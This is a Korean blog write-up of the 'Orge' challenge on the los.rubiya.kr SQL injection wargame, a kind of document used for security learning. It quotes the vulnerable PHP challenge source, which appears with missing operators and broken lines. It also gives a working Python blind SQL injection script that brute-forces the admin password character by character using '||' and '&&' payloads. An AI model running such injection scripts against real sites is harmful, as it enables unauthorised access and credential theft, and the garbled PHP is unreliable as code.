웹찢남

Orge - writeup 본문

WEB_HACKING/los.rubiya.kr

Orge - writeup

harry595 2019. 12. 27. 21:04

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>

 

이번에도 전과 같지만 blind sql injection을 사용해야 한다

 

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        for j in range(48,128):
                        r=requests.post("https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||id='admin'+%26%26+substring(pw,"+str(i)+",1)='"+str(chr(j)),cookies=session)
                        if 'Hello admin' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Vampire-writeup  (0) 2019.12.27
Troll-writeup  (0) 2019.12.27
Darkelf-writeup  (0) 2019.12.27
Wolfman-writeup  (0) 2019.12.27
Orc-writeup  (0) 2019.12.27
Comments